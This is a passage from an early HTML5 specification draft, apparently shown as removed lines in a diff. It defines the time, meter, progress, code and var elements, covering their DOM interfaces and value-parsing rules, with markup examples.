-   <dd><a href="#strictly">Strictly inline-level content</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd><code title=attr-time-datetime><a href="#datetime">datetime</a></code>
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmltimeelement>HTMLTimeElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-           attribute DOMString <a href="#datetime0" title=dom-time-datetime>datetime</a>;
-  readonly attribute DOMTimeStamp <a href="#date0" title=dom-time-date>date</a>;
-  readonly attribute DOMTimeStamp <a href="#time2" title=dom-time-time>time</a>;
-  readonly attribute DOMTimeStamp <a href="#timezone0" title=dom-time-timezone>timezone</a>;
-};</pre>
-  </dl>
-
-  <p>The <code><a href="#time0">time</a></code> element represents a date
-   and/or a time.
-
-  <p>The <dfn id=datetime
-   title=attr-time-datetime><code>datetime</code></dfn> attribute, if
-   present, must contain a <a href="#date-or">date or time string</a> that
-   identifies the date or time being specified.
-
-  <p>If the <code title=attr-time-datetime><a
-   href="#datetime">datetime</a></code> attribute is not present, then the
-   date or time must be specified in the content of the element, such that
-   parsing the element's <code><a href="#textcontent">textContent</a></code>
-   according to the rules for parsing <a href="#date-or0" title="date or time
-   string in content">date or time strings in content</a> successfully
-   extracts a date or time.
-
-  <p>The <dfn id=datetime0
-   title=dom-time-datetime><code>datetime</code></dfn> DOM attribute must <a
-   href="#reflect">reflect</a> the <code title=attr-time-datetime><a
-   href="#datetime">datetime</a></code> content attribute.
-
-  <p>User agents, to obtain the <dfn id=date
-   title=concept-time-date>date</dfn>, <dfn id=time1
-   title=concept-time-time>time</dfn>, and <dfn id=timezone
-   title=concept-time-timezone>timezone</dfn> represented by a <code><a
-   href="#time0">time</a></code> element, must follow the following steps:
-
-  <ol>
-   <li>If the <code title=attr-time-datetime><a
-    href="#datetime">datetime</a></code> attribute is present, then parse it
-    according to the rules for parsing <a href="#date-or1" title="date or
-    time string in attributes">date or time strings in content</a>, and let
-    the result be <var title="">result</var>.
-
-   <li>Otherwise, parse the element's <code><a
-    href="#textcontent">textContent</a></code> according to the rules for
-    parsing <a href="#date-or1" title="date or time string in
-    attributes">date or time strings in content</a>, and let the result be
-    <var title="">result</var>.
-
-   <li>If <var title="">result</var> is empty (because the parsing failed),
-    then the <a href="#date" title=concept-time-date>date</a> is unknown, the
-    <a href="#time1" title=concept-time-time>time</a> is unknown, and the <a
-    href="#timezone" title=concept-time-timezone>timezone</a> is unknown.
-
-   <li>Otherwise: if <var title="">result</var> contains a date, then that is
-    the <a href="#date" title=concept-time-date>date</a>; if <var
-    title="">result</var> contains a time, then that is the <a href="#time1"
-    title=concept-time-time>time</a>; and if <var title="">result</var>
-    contains a timezone, then the timezone is the element's <a
-    href="#timezone" title=concept-time-timezone>timezone</a>. (A timezone
-    can only be present if both a date and a time are also present.)
-  </ol>
-
-  <p>The <dfn id=date0 title=dom-time-date><code>date</code></dfn> DOM
-   attribute must return null if the <a href="#date"
-   title=concept-time-date>date</a> is unknown, and otherwise must return the
-   time corresponding to midnight UTC (i.e. the first second) of the given <a
-   href="#date" title=concept-time-date>date</a>.
-
-  <p>The <dfn id=time2 title=dom-time-time><code>time</code></dfn> DOM
-   attribute must return null if the <a href="#time1"
-   title=concept-time-time>time</a> is unknown, and otherwise must return the
-   time corresponding to the given <a href="#time1"
-   title=concept-time-time>time</a> of 1970-01-01, with the timezone UTC.
-
-  <p>The <dfn id=timezone0
-   title=dom-time-timezone><code>timezone</code></dfn> DOM attribute must
-   return null if the <a href="#timezone"
-   title=concept-time-timezone>timezone</a> is unknown, and otherwise must
-   return the time corresponding to 1970-01-01 00:00 UTC in the given <a
-   href="#timezone" title=concept-time-timezone>timezone</a>, with the
-   timezone set to UTC (i.e. the time corresponding to 1970-01-01 at 00:00
-   UTC plus the offset corresponding to the timezone).
-
-  <div class=example>
-   <p>In the following snippet:</p>
-
-   <pre>AMPERSANDlt;p>Our first date was AMPERSANDlt;time datetime="2006-09-23">a saturdayAMPERSANDlt;/time>.AMPERSANDlt;/p></pre>
-
-   <p>...the <code><a href="#time0">time</a></code> element's <code
-    title=dom-time-date><a href="#date0">date</a></code> attribute would have
-    the value 1,158,969,600,000ms, and the <code title=dom-time-time><a
-    href="#time2">time</a></code> and <code title=dom-time-timezone><a
-    href="#timezone0">timezone</a></code> attributes would return null.</p>
-
-   <p>In the following snippet:</p>
-
-   <pre>AMPERSANDlt;p>We stopped talking at AMPERSANDlt;time datetime="2006-09-24 05:00 -7">5am the next morningAMPERSANDlt;/time>.AMPERSANDlt;/p></pre>
-
-   <p>...the <code><a href="#time0">time</a></code> element's <code
-    title=dom-time-date><a href="#date0">date</a></code> attribute would have
-    the value 1,159,056,000,000ms, the <code title=dom-time-time><a
-    href="#time2">time</a></code> attribute would have the value
-    18,000,000ms, and the <code title=dom-time-timezone><a
-    href="#timezone0">timezone</a></code> attribute would return
-    -25,200,000ms. To obtain the actual time, the three attributes can be
-    added together, obtaining 1,159,048,800,000, which is the specified date
-    and time in UTC.</p>
-
-   <p>Finally, in the following snippet:</p>
-
-   <pre>AMPERSANDlt;p>Many people get up at AMPERSANDlt;time>08:00AMPERSANDlt;/time>.AMPERSANDlt;/p></pre>
-
-   <p>...the <code><a href="#time0">time</a></code> element's <code
-    title=dom-time-date><a href="#date0">date</a></code> attribute would have
-    the value null, the <code title=dom-time-time><a
-    href="#time2">time</a></code> attribute would have the value
-    28,800,000ms, and the <code title=dom-time-timezone><a
-    href="#timezone0">timezone</a></code> attribute would return null.</p>
-  </div>
-
-  <p class=big-issue>These APIs may be suboptimal. Comments on making them
-   more useful to JS authors are welcome. The primary use cases for these
-   elements are for marking up publication dates e.g. in blog entries, and
-   for marking event dates in hCalendar markup. Thus the DOM APIs are likely
-   to be used as ways to generate interactive calendar widgets or some such.
-
-  <h4 id=the-meter><span class=secno>3.12.11. </span>The <dfn
-   id=meter0><code>meter</code></dfn> element</h4>
-
-  <p><a href="#strictly">Strictly inline-level content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed.
-
-   <dt>Content model:
-
-   <dd><a href="#strictly">Strictly inline-level content</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd><code title=attr-meter-value><a href="#value1">value</a></code>
-
-   <dd><code title=attr-meter-min><a href="#min">min</a></code>
-
-   <dd><code title=attr-meter-low><a href="#low">low</a></code>
-
-   <dd><code title=attr-meter-high><a href="#high">high</a></code>
-
-   <dd><code title=attr-meter-max><a href="#max">max</a></code>
-
-   <dd><code title=attr-meter-optimum><a href="#optimum">optimum</a></code>
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmlmeterelement>HTMLMeterElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-           attribute long <a href="#value2" title=dom-meter-value>value</a>;
-           attribute long <a href="#min0" title=dom-meter-min>min</a>;
-           attribute long <a href="#max0" title=dom-meter-max>max</a>;
-           attribute long <a href="#low0" title=dom-meter-low>low</a>;
-           attribute long <a href="#high0" title=dom-meter-high>high</a>;
-           attribute long <a href="#optimum0" title=dom-meter-optimum>optimum</a>;
-};</pre>
-  </dl>
-
-  <p>The <code><a href="#meter0">meter</a></code> element represents a scalar
-   measurement within a known range, or a fractional value; for example disk
-   usage, the relevance of a query result, or the fraction of a voting
-   population to have selected a particular candidate.
-
-  <p>This is also known as a gauge.
-
-  <p class=note>The <code><a href="#meter0">meter</a></code> element should
-   not be used to indicate progress (as in a progress bar). For that role,
-   HTML provides a separate <code><a href="#progress0">progress</a></code>
-   element.
-
-  <p>There are six attributes that determine the semantics of the gauge
-   represented by the element.
-
-  <p>The <dfn id=min title=attr-meter-min><code>min</code></dfn> attribute
-   specifies the lower bound of the range, and the <dfn id=max
-   title=attr-meter-max><code>max</code></dfn> attribute specifies the upper
-   bound. The <dfn id=value1 title=attr-meter-value><code>value</code></dfn>
-   attribute specifies the value to have the gauge indicate as the "measured"
-   value.
-
-  <p>The other three attributes can be used to segment the gauge's range into
-   "low", "medium", and "high" parts, and to indicate which part of the gauge
-   is the "optimum" part. The <dfn id=low
-   title=attr-meter-low><code>low</code></dfn> attribute specifies the range
-   that is considered to be the "low" part, and the <dfn id=high
-   title=attr-meter-high><code>high</code></dfn> attribute specifies the
-   range that is considered to be the "high" part. The <dfn id=optimum
-   title=attr-meter-optimum><code>optimum</code></dfn> attribute gives the
-   position that is "optimum"; if that is higher than the "high" value then
-   this indicates that the higher the value, the better; if it's lower than
-   the "low" mark then it indicates that lower values are better, and
-   naturally if it is in between then it indicates that neither high nor low
-   values are good.
-
-  <p><strong>Authoring requirements</strong>: The recommended way of giving
-   the value is to include it as contents of the element, either as two
-   numbers (the higher number represents the maximum, the other number the
-   current value), or as a percentage or similar (using one of the characters
-   such as "%"), or as a fraction.
-
-  <p>The <code title=attr-meter-value><a href="#value1">value</a></code>,
-   <code title=attr-meter-min><a href="#min">min</a></code>, <code
-   title=attr-meter-low><a href="#low">low</a></code>, <code
-   title=attr-meter-high><a href="#high">high</a></code>, <code
-   title=attr-meter-max><a href="#max">max</a></code>, and <code
-   title=attr-meter-optimum><a href="#optimum">optimum</a></code> attributes
-   are all optional. When present, they must have values that are <a
-   href="#valid1" title="valid floating point number">valid floating point
-   numbers</a>.
-
-  <div class=example>
-   <p>The following examples all represent a measurement of three quarters
-    (of the maximum of whatever is being measured):</p>
-
-   <pre>AMPERSANDlt;meter>75%AMPERSANDlt;/meter>
-AMPERSANDlt;meter>750AMPERSAND#x2030;AMPERSANDlt;/meter>
-AMPERSANDlt;meter>3/4AMPERSANDlt;/meter>
-AMPERSANDlt;meter>6 blocks used (out of 8 total)AMPERSANDlt;/meter>
-AMPERSANDlt;meter>max: 100; current: 75AMPERSANDlt;/meter>
-AMPERSANDlt;meter>AMPERSANDlt;object data="graph75.png">0.75AMPERSANDlt;/object>AMPERSANDlt;/meter>
-AMPERSANDlt;meter min="0" max="100" value="75">AMPERSANDlt;/meter></pre>
-  </div>
-
-  <p><strong>User agent requirements</strong>: User agents must parse the
-   <code title=attr-meter-min><a href="#min">min</a></code>, <code
-   title=attr-meter-max><a href="#max">max</a></code>, <code
-   title=attr-meter-value><a href="#value1">value</a></code>, <code
-   title=attr-meter-low><a href="#low">low</a></code>, <code
-   title=attr-meter-high><a href="#high">high</a></code>, and <code
-   title=attr-meter-optimum><a href="#optimum">optimum</a></code> attributes
-   using the <a href="#rules1">rules for parsing floating point number
-   values</a>.
-
-  <p>If the <code title=attr-meter-value><a href="#value1">value</a></code>
-   attribute has been omitted, the user agent must also process the <code><a
-   href="#textcontent">textContent</a></code> of the element according to the
-   <a href="#steps">steps for finding one or two numbers of a ratio in a
-   string</a>. These steps will return nothing, one number, one number with a
-   denominator punctuation character, or two numbers.
-
-  <p>User agents must then use all these numbers to obtain values for six
-   points on the gauge, as follows. (The order in which these are evaluated
-   is important, as some of the values refer to earlier ones.)
-
-  <dl>
-   <dt>The minimum value
-
-   <dd>
-    <p>If the <code title=attr-meter-min><a href="#min">min</a></code>
-     attribute is specified and a value could be parsed out of it, then the
-     minimum value is that value. Otherwise, the minimum value is zero.</p>
-
-   <dt>The maximum value
-
-   <dd>
-    <p>If the <code title=attr-meter-max><a href="#max">max</a></code>
-     attribute is specified and a value could be parsed out of it, the
-     maximum value is that value.</p>
-
-    <p>Otherwise, if the <code title=attr-meter-max><a
-     href="#max">max</a></code> attribute is specified but no value could be
-     parsed out of it, or if it was not specified, but either or both of the
-     <code title=attr-meter-min><a href="#min">min</a></code> or <code
-     title=attr-meter-value><a href="#value1">value</a></code> attributes
-     <em>were</em> specified, then the maximum value is 1.</p>
-
-    <p>Otherwise, none of the <code title=attr-meter-max><a
-     href="#max">max</a></code>, <code title=attr-meter-min><a
-     href="#min">min</a></code>, and <code title=attr-meter-value><a
-     href="#value1">value</a></code> attributes were specified. If the result
-     of processing the <code><a href="#textcontent">textContent</a></code> of
-     the element was either nothing or just one number with no denominator
-     punctuation character, then the maximum value is 1; if the result was
-     one number but it had an associated denominator punctuation character,
-     then the maximum value is the <a href="#a-value" title="values
-     associated with denominator punctuation characters">value associated
-     with that denominator punctuation character</a>; and finally, if there
-     were two numbers parsed out of the <code><a
-     href="#textcontent">textContent</a></code>, then the maximum is the
-     higher of those two numbers.</p>
-
-    <p>If the above machinations result in a maximum value less than the
-     minimum value, then the maximum value is actually the same as the
-     minimum value.</p>
-
-   <dt>The actual value
-
-   <dd>
-    <p>If the <code title=attr-meter-value><a href="#value1">value</a></code>
-     attribute is specified and a value could be parsed out of it, then that
-     value is the actual value.</p>
-
-    <p>If the <code title=attr-meter-value><a href="#value1">value</a></code>
-     attribute is not specified but the <code title=attr-meter-max><a
-     href="#max">max</a></code> attribute <em>is</em> specified and the
-     result of processing the <code><a
-     href="#textcontent">textContent</a></code> of the element was one number
-     with no associated denominator punctuation character, then that number
-     is the actual value.</p>
-
-    <p>If neither of the <code title=attr-meter-value><a
-     href="#value1">value</a></code> and <code title=attr-meter-max><a
-     href="#max">max</a></code> attributes are specified, then, if the result
-     of processing the <code><a href="#textcontent">textContent</a></code> of
-     the element was one number (with or without an associated denominator
-     punctuation character), then that is the actual value, and if the result
-     of processing the <code><a href="#textcontent">textContent</a></code> of
-     the element was two numbers, then the actual value is the lower of the
-     two numbers found.</p>
-
-    <p>Otherwise, if none of the above apply, the actual value is zero.</p>
-
-    <p>If the above procedure results in an actual value less than the
-     minimum value, then the actual value is actually the same as the minimum
-     value.</p>
-
-    <p>If, on the other hand, the result is an actual value greater than the
-     maximum value, then the actual value is the maximum value.</p>
-
-   <dt>The low boundary
-
-   <dd>
-    <p>If the <code title=attr-meter-low><a href="#low">low</a></code>
-     attribute is specified and a value could be parsed out of it, then the
-     low boundary is that value. Otherwise, the low boundary is the same as
-     the minimum value.</p>
-
-    <p>If the above results in a low boundary that is less than the minimum
-     value, the low boundary is the minimum value.</p>
-
-   <dt>The high boundary
-
-   <dd>
-    <p>If the <code title=attr-meter-high><a href="#high">high</a></code>
-     attribute is specified and a value could be parsed out of it, then the
-     high boundary is that value. Otherwise, the high boundary is the same as
-     the maximum value.</p>
-
-    <p>If the above results in a high boundary that is higher than the
-     maximum value, the high boundary is the maximum value.</p>
-
-   <dt>The optimum point
-
-   <dd>
-    <p>If the <code title=attr-meter-optimum><a
-     href="#optimum">optimum</a></code> attribute is specified and a value
-     could be parsed out of it, then the optimum point is that value.
-     Otherwise, the optimum point is the midpoint between the minimum value
-     and the maximum value.</p>
-
-    <p>If the optimum point is then less than the minimum value, then the
-     optimum point is actually the same as the minimum value. Similarly, if
-     the optimum point is greater than the maximum value, then it is actually
-     the maximum value instead.</p>
-  </dl>
-
-  <p>All of which should result in the following inequalities all being true:
-
-  <ul class=brief>
-   <li>minimum value AMPERSANDle; actual value AMPERSANDle; maximum value
-
-   <li>minimum value AMPERSANDle; low boundary AMPERSANDle; high boundary AMPERSANDle; maximum value
-
-   <li>minimum value AMPERSANDle; optimum point AMPERSANDle; maximum value
-  </ul>
-
-  <p><strong>UA requirements for regions of the gauge</strong>: If the
-   optimum point is equal to the low boundary or the high boundary, or
-   anywhere in between them, then the region between the low and high
-   boundaries of the gauge must be treated as the optimum region, and the low
-   and high parts, if any, must be treated as suboptimal. Otherwise, if the
-   optimum point is less than the low boundary, then the region between the
-   minimum value and the low boundary must be treated as the optimum region,
-   the region between the low boundary and the high boundary must be treated
-   as a suboptimal region, and the region between the high boundary and the
-   maximum value must be treated as an even less good region. Finally, if the
-   optimum point is higher than the high boundary, then the situation is
-   reversed; the region between the high boundary and the maximum value must
-   be treated as the optimum region, the region between the high boundary and
-   the low boundary must be treated as a suboptimal region, and the remaining
-   region between the low boundary and the minimum value must be treated as
-   an even less good region.
-
-  <p><strong>UA requirements for showing the gauge</strong>: When
-   representing a <code><a href="#meter0">meter</a></code> element to the
-   user, the UA should indicate the relative position of the actual value to
-   the minimum and maximum values, and the relationship between the actual
-   value and the three regions of the gauge.
-
-  <div class=example>
-   <p>The following markup:</p>
-
-   <pre>
-AMPERSANDlt;h3>Suggested groupsAMPERSANDlt;/h3>
-AMPERSANDlt;menu type="toolbar">
- AMPERSANDlt;a href="?cmd=hsg" onclick="hideSuggestedGroups()">Hide suggested groupsAMPERSANDlt;/a>
-AMPERSANDlt;/menu>
-AMPERSANDlt;ul>
- AMPERSANDlt;li>
-  AMPERSANDlt;p>AMPERSANDlt;a href="/group/comp.infosystems.www.authoring.stylesheets/view">comp.infosystems.www.authoring.stylesheetsAMPERSANDlt;/a> -
-     AMPERSANDlt;a href="/group/comp.infosystems.www.authoring.stylesheets/subscribe">joinAMPERSANDlt;/a>AMPERSANDlt;/p>
-  AMPERSANDlt;p>Group description: AMPERSANDlt;strong>Layout/presentation on the WWW.AMPERSANDlt;/strong>AMPERSANDlt;/p>
-  AMPERSANDlt;p><strong>AMPERSANDlt;meter value="0.5">Moderate activity,AMPERSANDlt;/meter></strong> Usenet, 618 subscribersAMPERSANDlt;/p>
- AMPERSANDlt;/li>
- AMPERSANDlt;li>
-  AMPERSANDlt;p>AMPERSANDlt;a href="/group/netscape.public.mozilla.xpinstall/view">netscape.public.mozilla.xpinstallAMPERSANDlt;/a> -
-     AMPERSANDlt;a href="/group/netscape.public.mozilla.xpinstall/subscribe">joinAMPERSANDlt;/a>AMPERSANDlt;/p>
-  AMPERSANDlt;p>Group description: AMPERSANDlt;strong>Mozilla XPInstall discussion.AMPERSANDlt;/strong>AMPERSANDlt;/p>
-  AMPERSANDlt;p><strong>AMPERSANDlt;meter value="0.25">Low activity,AMPERSANDlt;/meter></strong> Usenet, 22 subscribersAMPERSANDlt;/p>
- AMPERSANDlt;/li>
- AMPERSANDlt;li>
-  AMPERSANDlt;p>AMPERSANDlt;a href="/group/mozilla.dev.general/view">mozilla.dev.generalAMPERSANDlt;/a> -
-     AMPERSANDlt;a href="/group/mozilla.dev.general/subscribe">joinAMPERSANDlt;/a>AMPERSANDlt;/p>
-  AMPERSANDlt;p><strong>AMPERSANDlt;meter value="0.25">Low activity,AMPERSANDlt;/meter></strong> Usenet, 66 subscribersAMPERSANDlt;/p>
- AMPERSANDlt;/li>
-AMPERSANDlt;/ul>
-</pre>
-
-   <p>Might be rendered as follows:</p>
-
-   <p><img alt="With the AMPERSANDlt;meter> elements rendered as inline green bars of
-    varying lengths." src=sample-meter.png></p>
-  </div>
-
-  <p>The <dfn id=min0 title=dom-meter-min><code>min</code></dfn>, <dfn
-   id=max0 title=dom-meter-max><code>max</code></dfn>, <dfn id=value2
-   title=dom-meter-value><code>value</code></dfn>, <dfn id=low0
-   title=dom-meter-low><code>low</code></dfn>, <dfn id=high0
-   title=dom-meter-high><code>high</code></dfn>, and <dfn id=optimum0
-   title=dom-meter-optimum><code>optimum</code></dfn> DOM attributes must
-   reflect the elements' content attributes of the same name. When the
-   relevant content attributes are absent, the DOM attributes must return
-   zero. The value parsed from the <code><a
-   href="#textcontent">textContent</a></code> never affects the DOM values.
-
-  <p class=big-issue>Would be cool to have the <code title=dom-meter-value><a
-   href="#value2">value</a></code> DOM attribute update the <code><a
-   href="#textcontent">textContent</a></code> in-line...</p>
-  <!-- XXX
-should we also look inside the title="" attribute?
-   Disk usage: <meter title="985MB of 986MB total" high="980">Full!</meter>
-should we make the contents accessible in some way, e.g. as a tooltip?
--->
-
-  <h4 id=the-progress><span class=secno>3.12.12. </span>The <dfn
-   id=progress0><code>progress</code></dfn> element</h4>
-
-  <p><a href="#strictly">Strictly inline-level content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed.
-
-   <dt>Content model:
-
-   <dd><a href="#strictly">Strictly inline-level content</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd><code title=attr-progress-value><a href="#value3">value</a></code>
-
-   <dd><code title=attr-progress-max><a href="#max1">max</a></code>
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>
-    <pre
-     class=idl>interface <dfn id=htmlprogresselement>HTMLProgressElement</dfn> : <a href="#htmlelement">HTMLElement</a> {
-           attribute float <a href="#value4" title=dom-progress-value>value</a>;
-           attribute float <a href="#max2" title=dom-progress-max>max</a>;
-  readonly attribute float <a href="#position" title=dom-progress-position>position</a>;
-};</pre>
-  </dl>
-
-  <p>The <code><a href="#progress0">progress</a></code> element represents
-   the completion progress of a task. The progress is either indeterminate,
-   indicating that progress is being made but that it is not clear how much
-   more work remains to be done before the task is complete (e.g. because the
-   task is waiting for a remote host to respond), or the progress is a number
-   in the range zero to a maximum, giving the fraction of work that has so
-   far been completed.
-
-  <p>There are two attributes that determine the current task completion
-   represented by the element.
-
-  <p>The <dfn id=value3 title=attr-progress-value><code>value</code></dfn>
-   attribute specifies how much of the task has been completed, and the <dfn
-   id=max1 title=attr-progress-max><code>max</code></dfn> attribute specifies
-   how much work the task requires in total. The units are arbitrary and not
-   specified.
-
-  <p>Instead of using the attributes, authors are recommended to simply
-   include the current value and the maximum value inline as text inside the
-   element.
-
-  <div class=example>
-   <p>Here is a snippet of a Web application that shows the progress of some
-    automated task:</p>
-
-   <pre>AMPERSANDlt;section>
- AMPERSANDlt;h2>Task ProgressAMPERSANDlt;/h2>
- AMPERSANDlt;p>AMPERSANDlt;label>Progress: AMPERSANDlt;progress>AMPERSANDlt;span id="p">0AMPERSANDlt;/span>%AMPERSANDlt;/progress>AMPERSANDlt;/p>
- AMPERSANDlt;script>
-  var progressBar = document.getElementById('p');
-  function updateProgress(newValue) {
-    progressBar.textContent = newValue;
-  }
- AMPERSANDlt;/script>
-AMPERSANDlt;/section></pre>
-
-   <p>(The <code>updateProgress()</code> method in this example would be
-    called by some other code on the page to update the actual progress bar
-    as the task progressed.)</p>
-  </div>
-
-  <p><strong>Author requirements</strong>: The <code
-   title=attr-progress-max><a href="#max1">max</a></code> and <code
-   title=attr-progress-value><a href="#value3">value</a></code> attributes,
-   when present, must have values that are <a href="#valid1" title="valid
-   floating point number">valid floating point numbers</a>. The <code
-   title=attr-progress-max><a href="#max1">max</a></code> attribute, if
-   present, must have a value greater than zero. The <code
-   title=attr-progress-value><a href="#value3">value</a></code> attribute, if
-   present, must have a value equal to or greater than zero, and less than or
-   equal to the value of the <code title=attr-progress-max><a
-   href="#max1">max</a></code> attribute, if present.
-
-  <p><strong>User agent requirements</strong>: User agents must parse the
-   <code title=attr-progress-max><a href="#max1">max</a></code> and <code
-   title=attr-progress-value><a href="#value3">value</a></code> attributes'
-   values according to the <a href="#rules1">rules for parsing floating point
-   number values</a>.
-
-  <p>If the <code title=attr-progress-value><a
-   href="#value3">value</a></code> attribute is omitted, then user agents
-   must also parse the <code><a href="#textcontent">textContent</a></code> of
-   the <code><a href="#progress0">progress</a></code> element in question
-   using the <a href="#steps">steps for finding one or two numbers of a ratio
-   in a string</a>. These steps will return nothing, one number, one number
-   with a denominator punctuation character, or two numbers.
-
-  <p>Using the results of this processing, user agents must determine whether
-   the progress bar is an indeterminate progress bar, or whether it is a
-   determinate progress bar, and in the latter case, what its current and
-   maximum values are, all as follows:
-
-  <ol>
-   <li>If the <code title=attr-progress-max><a href="#max1">max</a></code>
-    attribute is omitted, and the <code title=attr-progress-value><a
-    href="#value3">value</a></code> is omitted, and the results of parsing
-    the <code><a href="#textcontent">textContent</a></code> was nothing, then
-    the progress bar is an indeterminate progress bar. Abort these steps.
-
-   <li>Otherwise, it is a determinate progress bar.
-
-   <li>If the <code title=attr-progress-max><a href="#max1">max</a></code>
-    attribute is included, then, if a value could be parsed out of it, then
-    the maximum value is that value.
-
-   <li>Otherwise, if the <code title=attr-progress-max><a
-    href="#max1">max</a></code> attribute is absent but the <code
-    title=attr-progress-value><a href="#value3">value</a></code> attribute is
-    present, or, if the <code title=attr-progress-max><a
-    href="#max1">max</a></code> attribute is present but no value could be
-    parsed from it, then the maximum is 1.
-
-   <li>Otherwise, if neither attribute is included, then, if the <code><a
-    href="#textcontent">textContent</a></code> contained one number with an
-    associated denominator punctuation character, then the maximum value is
-    the <span>value associated with that denominator punctuation
-    character</span>; otherwise, if the <code><a
-    href="#textcontent">textContent</a></code> contained two numbers, the
-    maximum value is the higher of the two values; otherwise, the maximum
-    value is 1.
-
-   <li>If the <code title=attr-progress-value><a
-    href="#value3">value</a></code> attribute is present on the element and a
-    value could be parsed out of it, that value is the current value of the
-    progress bar. Otherwise, if the attribute is present but no value could
-    be parsed from it, the current value is zero.
-
-   <li>Otherwise if the <code title=attr-progress-value><a
-    href="#value3">value</a></code> attribute is absent and the <code
-    title=attr-progress-max><a href="#max1">max</a></code> attribute is
-    present, then, if the <code><a href="#textcontent">textContent</a></code>
-    was parsed and found to contain just one number, with no associated
-    denominator punctuation character, then the current value is that number.
-    Otherwise, if the <code title=attr-progress-value><a
-    href="#value3">value</a></code> attribute is absent and the <code
-    title=attr-progress-max><a href="#max1">max</a></code> attribute is
-    present then the current value is zero.
-
-   <li>Otherwise, if neither attribute is present, then the current value is
-    the lower of the one or two numbers that were found in the <code><a
-    href="#textcontent">textContent</a></code> of the element.
-
-   <li>If the maximum value is less than or equal to zero, then it is reset
-    to 1.
-
-   <li>If the current value is less than zero, then it is reset to zero.
-
-   <li>Finally, if the current value is greater than the maximum value, then
-    the current value is reset to the maximum value.
-  </ol>
-
-  <p><strong>UA requirements for showing the progress bar</strong>: When
-   representing a <code><a href="#progress0">progress</a></code> element to
-   the user, the UA should indicate whether it is a determinate or
-   indeterminate progress bar, and in the former case, should indicate the
-   relative position of the current value relative to the maximum value.
-
-  <p>The <dfn id=max2 title=dom-progress-max><code>max</code></dfn> and <dfn
-   id=value4 title=dom-progress-value><code>value</code></dfn> DOM attributes
-   must reflect the elements' content attributes of the same name. When the
-   relevant content attributes are absent, the DOM attributes must return
-   zero. The value parsed from the <code><a
-   href="#textcontent">textContent</a></code> never affects the DOM values.
-
-  <p class=big-issue>Would be cool to have the <code
-   title=dom-progress-value><a href="#value4">value</a></code> DOM attribute
-   update the <code><a href="#textcontent">textContent</a></code> in-line...
-
-  <p>If the progress bar is an indeterminate progress bar, then the <dfn
-   id=position title=dom-progress-position><code>position</code></dfn> DOM
-   attribute must return -1. Otherwise, it must return the result of dividing
-   the current value by the maximum value.
-
-  <h4 id=the-code><span class=secno>3.12.13. </span>The <dfn
-   id=code0><code>code</code></dfn> element</h4>
-
-  <p><a href="#strictly">Strictly inline-level content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed.
-
-   <dt>Content model:
-
-   <dd>When used in an element whose content model is only <a
-    href="#strictly">strictly inline-level content</a>: only <a
-    href="#strictly">strictly inline-level content</a>.
-
-   <dd>Otherwise: any <a href="#inline-level1">inline-level content</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd>None, but the <code title=attr-title><a
-    href="#title1">title</a></code> attribute has special semantics on this
-    element when used with the <code><a href="#dfn0">dfn</a></code> element.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#code0">code</a></code> element represents a fragment
-   of computer code. This could be an XML element name, a filename, a
-   computer program, or any other string that a computer would recognise.
-
-  <p class=note>See the <code><a href="#pre0">pre</a></code> element for more
-   detais.
-
-  <div class=example>
-   <p>The following example shows how a block of code could be marked up
-    using the <code><a href="#pre0">pre</a></code> and <code><a
-    href="#code0">code</a></code> elements.</p>
-
-   <pre>AMPERSANDlt;pre>AMPERSANDlt;code>var i: Integer;
-begin
-   i := 1;
-end.AMPERSANDlt;/code>AMPERSANDlt;/pre></pre>
-  </div>
-
-  <h4 id=the-var><span class=secno>3.12.14. </span>The <dfn
-   id=var0><code>var</code></dfn> element</h4>
-
-  <p><a href="#strictly">Strictly inline-level content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed.
-
-   <dt>Content model:
-
-   <dd><a href="#strictly">Strictly inline-level content</a>.
-
-   <dt>Element-specific attributes:
-
-   <dd>None, but the <code title=attr-title><a
-    href="#title1">title</a></code> attribute has special semantics on this
-    element when used with the <code><a href="#dfn0">dfn</a></code> element.
-
-   <dt>Predefined classes that apply to this element:
-
-   <dd>None.
-
-   <dt>DOM interface:
-
-   <dd>No difference from <code><a
-    href="#htmlelement">HTMLElement</a></code>.
-  </dl>
-
-  <p>The <code><a href="#var0">var</a></code> element represents a variable.
-   This could be an actual variable in a mathematical expression or
-   programming context, or it could just be a term used as a placeholder in
-   prose.
-
-  <div class=example>
-   <p>In the paragraph below, the letter "n" is being used as a variable in
-    prose:</p>
-
-   <pre>AMPERSANDlt;p>If there are AMPERSANDlt;var>nAMPERSANDlt;/var> pipes leading to the ice
-cream factory then I expect at AMPERSANDlt;em>leastAMPERSANDlt;/em> AMPERSANDlt;var>nAMPERSANDlt;/var>
-flavours of ice cream to be available for purchase!AMPERSANDlt;/p></pre>
-  </div>
-
-  <h4 id=the-samp><span class=secno>3.12.15. </span>The <dfn
-   id=samp0><code>samp</code></dfn> element</h4>
-
-  <p><a href="#strictly">Strictly inline-level content</a>.
-
-  <dl class=element>
-   <dt>Contexts in which this element may be used:
-
-   <dd>Where <a href="#strictly">strictly inline-level content</a> is
-    allowed.
-
-   <dt>Content model:
-
-   <dd>When used in an element whose content model is only <a
-    href="#strictly">strictly inline-level content</a>: only <a
